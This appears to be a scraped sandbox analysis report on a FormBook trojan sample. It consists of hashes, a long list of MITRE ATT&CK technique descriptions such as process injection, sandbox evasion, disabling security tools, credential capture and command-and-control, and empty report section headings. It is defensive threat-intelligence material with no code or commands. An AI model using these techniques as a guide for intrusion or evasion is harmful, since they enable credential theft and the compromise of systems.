Source File: 00000023.00000002.1011223885.000001D32D570000.00000020.00000001.sdmp, Offset: 000001D32D570000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc0618d80f91491aef691d035463ffe79dcec6d0fc1199b2ed670bbe32f2cfbe
Instruction ID: 922cdcb62fd9d128400af7953ff04de3949f1740df376d11e45635e6838fd354
Opcode Fuzzy Hash: bc0618d80f91491aef691d035463ffe79dcec6d0fc1199b2ed670bbe32f2cfbe
Instruction Fuzzy Hash: 2090022489541655E41411991C5929C50906788350FF444814426D0144D5DD03971193

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report SecuriteInfo.com.Trojan.Packed2.42783.14936.6333

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: FormBook

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre